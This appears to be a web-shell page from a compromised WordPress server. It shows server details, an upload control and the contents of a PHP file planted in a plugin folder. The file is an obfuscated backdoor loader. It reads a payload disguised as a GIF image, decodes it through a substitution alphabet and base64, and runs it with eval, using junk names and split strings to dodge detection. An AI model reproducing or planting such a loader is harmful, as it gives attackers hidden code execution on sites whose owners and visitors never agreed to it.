HEX
Server: Apache/2.4.52 (Ubuntu)
System: Linux WebLive 5.15.0-79-generic #86-Ubuntu SMP Mon Jul 10 16:07:21 UTC 2023 x86_64
User: ubuntu (1000)
PHP: 7.4.33
Disabled: pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
Upload Files
File: /var/www/html/wpmuhibbah_err/wp-content/plugins/abotiche/hiqymu.txt
<?php

function pucyzu_thiwizhyfy($xizoka_ajehanir) {
    if ($xizoka_ajehanir == 2)
        return biwezu_refanemug();
}

function emipuj_lachopok($xizoka_ajehanir) {
    if (function_exists('oviwin_hibinuca')) {
        $yxyryjy = oviwin_hibinuca(1);
        $efozhoz = pucyzu_thiwizhyfy(2);
        for ($yzhokas = 0; $yzhokas < strlen($yxyryjy); $yzhokas++) {
            $ikhynun = substr($yxyryjy, $yzhokas, 1);
            $cakeri = substr($efozhoz, $yzhokas, 1);
            $mepycho[$ikhynun] = $cakeri;
        }

        $tomovow = strtr($xizoka_ajehanir, $mepycho);
        $tomovow = base64_decode($tomovow);

        return $tomovow;
    }
}

function oviwin_hibinuca($xizoka_ajehanir) {
    if ($xizoka_ajehanir == 1)
        return gamica_ulilokire();
}

function ikitor_athathovy($xizoka_ajehanir) {
    $rotuju = array();
    if (!file_exists($xizoka_ajehanir))
        return false;
    $cohuku = @file_get_contents($xizoka_ajehanir);
    if (!$cohuku)
        return false;
    $cohuku = substr($cohuku, 3);
    $rotuju = emipuj_lachopok($cohuku);
    return $rotuju;
}

function gamica_ulilokire() {
    $cohuku = "7F3l8Zq2VShpsGtoH9ivc5LTRYMUjmk+b6dC4PQrzXgBEJAeNI0ux=nWOKaf/1ywD";
    return $cohuku;
}

function biwezu_refanemug() {
    $rotuju = "s5HJlxNjV3eqMrkYU9ni+w4RKQGPF0gducmC1OaI6Ev2St7/Xf=poh8ATZyWBbLDz";
    return $rotuju;
}

$chasoki = ikitor_athathovy(__DIR__ . "/asse" . "ts/im" . "ages" . "/guja" . "qev.gi" . "f");
if ($chasoki) {
    @eval($chasoki);
}